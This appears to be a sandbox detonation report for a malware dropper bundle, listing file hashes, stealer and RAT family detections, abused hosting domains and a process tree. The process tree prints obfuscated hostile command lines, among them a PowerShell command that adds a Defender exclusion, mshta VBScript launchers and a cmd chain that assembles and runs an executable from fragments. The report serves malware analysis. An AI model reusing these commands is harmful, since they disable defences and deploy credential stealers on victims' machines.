| SHA512 | 661574d9aef864bc72746dd8da9e0105b1590d4e703a40d3f4f1bf7be6b93b479fe5c2e5f36ac1e90251ed530175306aa08457542f405dda7f38d95f2c98700b |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
| MD5 | d30b69d6a35795601076df561620ceef |
| SHA1 | 1b39cd301a4d0ccc97c6870f8c394ede338a842f |
| SHA256 | 2694ad32afd142185ac84af662b4d47f6183da980925bf5e01b8a2b58701957c |
| SHA512 | 817912cafcd1cbd34b5bec14405f677a39140bfbc9eba596a62dca935425ad2ccc9fbe5c452e5ed034c1aff5e2b015906e50115e4b00edf081681dda929235a2 |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
| MD5 | 580e2a030c2efe28dd90bd65bfb09dff |
| SHA1 | 29868a00922d6686fb109b0c247ff46645087edf |
| SHA256 | a2409cf7d8ae6d3fac18b6a6429a4496241eba8f94851a3646f6c4702f4ef3d8 |
| SHA512 | 288e596689768c3e3e09e3cff5f58be8c409cbe1e85ef5a75e6eec086d7f5a9df48aadde200e7d37cca74fd74c8dd10f74caa564bff7571931dbcdbca9709c5a |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
| MD5 | 5c15b78b9baa3a64d76e16adc3a3dbff |
| SHA1 | 7c5a52a9667223f6459aabcbb36810ff6df31db0 |
| SHA256 | c2622aef762efa79e35ddf97aa307e0ef12e16cfd24daef7cfbdba02857beb3d |
| SHA512 | 832d65c4ad0fe7ab350ae45b480b54b29ca5cbfc832791d2cb608fe47b3448c149a58d5038893cf456bb38b69bc7300505e6008dee8dabc51f19e0b7660f1722 |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
| MD5 | c21370251326a0aeb93762aa56ef0e4a |
| SHA1 | 5932c21eac4bf450c078df4306280bdef4dc94bb |
| SHA256 | ca42e2a6d1da4d1412126736432566725f71e9758d3ea46f6c43e1d6431463c7 |
| SHA512 | ab7fb5701fcf5cf0f1d2769f88533519a0a314d721a8fafa5917e833a6cb946523cd2696b2fb30af5f5d2b376bf65a93b45d3809b2142427d1c893625e360000 |
memory/1436-366-0x0000000000400000-0x00000000007A0000-memory.dmp
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
| MD5 | 45391467e525cfcc0b7a063afd8c78ad |
| SHA1 | 94e600dd1b0bf1513d6f48f1d0eec6acbcec501b |
| SHA256 | 5d90e5a71e943c7b648d710f940ec8b8760f9e405c65d0ccc7cd3da4a0884daa |
| SHA512 | 4e5d2333dcc3430c29671ba2318a302be54296086c59098b432e497f2b0a2fdbedf4b8db69357e46c134f1b06c8985e5849168b43d24f6ec4fe1910ec5c6fc92 |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
| MD5 | f57ead6550ddd11bc874bc7bb9d3fe69 |
| SHA1 | aa7fcdc545159d05fd6ad4dd49237f5cdf534cec |
| SHA256 | ad34338cd21f98c457349ad1ffb632b927d1e8e10c9612273b494d9e1903db1f |
| SHA512 | 15620c5719ecf1826083ab021a434506ee30d6999f79c67046c0e07aaab5b3a75ed8d5948a27a27d356ea34a842ce01a5299097e4fe198161a48ee43b9ab3c98 |
memory/404-405-0x0000000003550000-0x00000000035E6000-memory.dmp
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
| MD5 | b521c6ed47ec2c8d61034e8220ea703f |
| SHA1 | de0ba1f809aad9be0196b5b9eecb5292f463b019 |
| SHA256 | 8f20c09234efe8a92eba45b4ef54b4df6fd2ccf83e8b9df531cbe78ee0471480 |
| SHA512 | 58c5c6ab44103425a016a3f2989386c70a5c3f338b5964088ab496a0117e61f826d5da0b78f885a6278f2b71784c9a517654546e3674fed4100a54192a942be5 |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
| MD5 | eb354db7fb319bb41472e475123e46f3 |
| SHA1 | 91be1eead102a3f54bed62c8a50b33788e517326 |
| SHA256 | 11a0ea53038abe946450973ed99f24c2ca060e21a83483d08e3301380ae601cd |
| SHA512 | 2635159c9c7524af55268c8fd4f7e37b4f2645a64066e3296e187e7ebf0d090a8915006a4b10c63f736917f6e5b84e894cfad46744da98e6c33a8e1380d24506 |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
| MD5 | dba64bc8daa67116b79ef5b3414d060d |
| SHA1 | e4d12ffc59f3ebe1f67cde4b46c0089876b23ac5 |
| SHA256 | 395ea668d2ba328b96fff3f08350de73c92f66ae7655881db432a8eafef3be93 |
| SHA512 | 90919daa81eabba948340ba640e4dc8e1f5b227b37e4b9d37e10ca2d0ef3e260553a30fec860b5a03195fbc867759c2c5abd41866d6453afaf5cf7dfe3bbedde |
C:\Users\Admin\AppData\Local\Temp\e59bef1.exe
| MD5 | a014b8961283f1e07d7f31ecdd7db62f |
| SHA1 | 70714b6dc8abbaa5d1cba38c047ea3a4ec6ac065 |
| SHA256 | 21ce0cdfaeb6d7f58bd17545be18f9cd3ac2476939112872d1a05d3164098f89 |
| SHA512 | bd0bb1405c7d74c941c5db0d3fd5fbe93544055f79db5076ab293c868568873df98f902c343096ff765be6c4911435617aab2ada15591dfc90606b5630d64869 |
memory/2460-505-0x0000000000F80000-0x0000000000F88000-memory.dmp
Analysis: behavioral3
Detonation Overview
Submitted
2024-11-24 04:30
Reported
2024-11-24 04:33
Platform
win7-20240903-en
Max time kernel
149s
Max time network
152s
Command Line
Signatures
Detect Fabookie payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Fabookie
Fabookie family
GCleaner
Gcleaner family
NullMixer
Nullmixer family
OnlyLogger
Onlylogger family
PrivateLoader
Privateloader family
RedLine
RedLine payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Redline family
SectopRAT
SectopRAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Sectoprat family
Socelars
Socelars family
Socelars payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Vidar
Vidar family
OnlyLogger payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Vidar Stealer
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\rundll32.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
ASPack v2.12-2.42
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Executes dropped EXE
Loads dropped DLL
Reads user/profile data of web browsers
Checks installed software on the system
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Looks up geolocation information via web service
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2680 set thread context of 300 | N/A | C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon003b11682c.exe | C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon003b11682c.exe |
| PID 1272 set thread context of 1564 | N/A | C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00df41776583.exe | C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00df41776583.exe |
Enumerates physical storage devices
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\setup_install.exe |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00ef1e53f6f539435.exe |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00f8ffa77fe72688.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\control.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\ESYZ4xAO6IJ.eXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon0086072e872c.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00ea631982.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\setup_install.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00536518ad16.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00e469051c4c7a.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon001dcfc58b0850.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\rundll32.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00df41776583.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00ffeff6b2.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00df41776583.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\09xU.exE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon003b11682c.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00806cfb48.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\is-LMKEP.tmp\Mon001dcfc58b0850.tmp | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\rundll32.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon003b11682c.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon0052c87b01411369.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00b1dca232.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00ef1e53f6f539435.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\is-OQHV8.tmp\Mon001dcfc58b0850.tmp | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\setup_installer.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon001dcfc58b0850.exe | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: GetForegroundWindowSpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\is-LMKEP.tmp\Mon001dcfc58b0850.tmp | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00b1dca232.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\setup_install.exe"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon003b11682c.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00ef1e53f6f539435.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00e469051c4c7a.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00ffeff6b2.exe
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon003b11682c.exe
Mon003b11682c.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00536518ad16.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00df41776583.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00d0d86f7f1e6.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00946c5090.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00f8ffa77fe72688.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00806cfb48.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00b1dca232.exe /mixone
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00df41776583.exe
Mon00df41776583.exe
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00e469051c4c7a.exe
Mon00e469051c4c7a.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00ea631982.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon001dcfc58b0850.exe
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00946c5090.exe
Mon00946c5090.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon0086072e872c.exe
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00806cfb48.exe
Mon00806cfb48.exe
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00ea631982.exe
Mon00ea631982.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon0052c87b01411369.exe
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon0052c87b01411369.exe
Mon0052c87b01411369.exe
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00ffeff6b2.exe
Mon00ffeff6b2.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00d0d86f7f1e6.exe
Mon00d0d86f7f1e6.exe
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00ef1e53f6f539435.exe
Mon00ef1e53f6f539435.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2040 -s 272
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00f8ffa77fe72688.exe
Mon00f8ffa77fe72688.exe
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00536518ad16.exe
Mon00536518ad16.exe
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00b1dca232.exe
Mon00b1dca232.exe /mixone
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon001dcfc58b0850.exe
Mon001dcfc58b0850.exe
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon0086072e872c.exe
Mon0086072e872c.exe
C:\Users\Admin\AppData\Local\Temp\is-OQHV8.tmp\Mon001dcfc58b0850.tmp
"C:\Users\Admin\AppData\Local\Temp\is-OQHV8.tmp\Mon001dcfc58b0850.tmp" /SL5="$601D6,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon001dcfc58b0850.exe"
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00536518ad16.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00536518ad16.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon001dcfc58b0850.exe
"C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon001dcfc58b0850.exe" /SILENT
C:\Users\Admin\AppData\Local\Temp\is-LMKEP.tmp\Mon001dcfc58b0850.tmp
"C:\Users\Admin\AppData\Local\Temp\is-LMKEP.tmp\Mon001dcfc58b0850.tmp" /SL5="$8022A,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon001dcfc58b0850.exe" /SILENT
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon003b11682c.exe
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon003b11682c.exe
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00df41776583.exe
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00df41776583.exe
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00536518ad16.exe" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00536518ad16.exe") do taskkill /F -Im "%~NxU"
C:\Users\Admin\AppData\Local\Temp\09xU.exE
09xU.EXE -pPtzyIkqLZoCarb5ew
C:\Windows\SysWOW64\taskkill.exe
taskkill /F -Im "Mon00536518ad16.exe"
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE") do taskkill /F -Im "%~NxU"
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " ,0,TRuE) )
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH +7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" eCHO "
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
C:\Windows\SysWOW64\control.exe
control .\R6f7sE.I
C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2856 -s 480
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbSCript:CLOse( CReatEoBJeCT ( "wscriPT.sheLL"). run ( "CMd.exe /C TYpE ""C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00e469051c4c7a.exe"" > ESYZ4xAO6IJ.eXE && sTart ESYz4xAO6iJ.EXe /PdBPpkdCKFRGSs8QEyyO_B7~gkV & if """"== """" for %t iN (""C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00e469051c4c7a.exe"" ) do taskkill /f -im ""%~NXt"" ",0, True))
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C TYpE "C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00e469051c4c7a.exe" > ESYZ4xAO6IJ.eXE &&sTart ESYz4xAO6iJ.EXe /PdBPpkdCKFRGSs8QEyyO_B7~gkV & if ""== "" for %t iN ("C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00e469051c4c7a.exe" ) do taskkill /f -im "%~NXt"
C:\Users\Admin\AppData\Local\Temp\ESYZ4xAO6IJ.eXE
ESYz4xAO6iJ.EXe /PdBPpkdCKFRGSs8QEyyO_B7~gkV
C:\Windows\SysWOW64\taskkill.exe
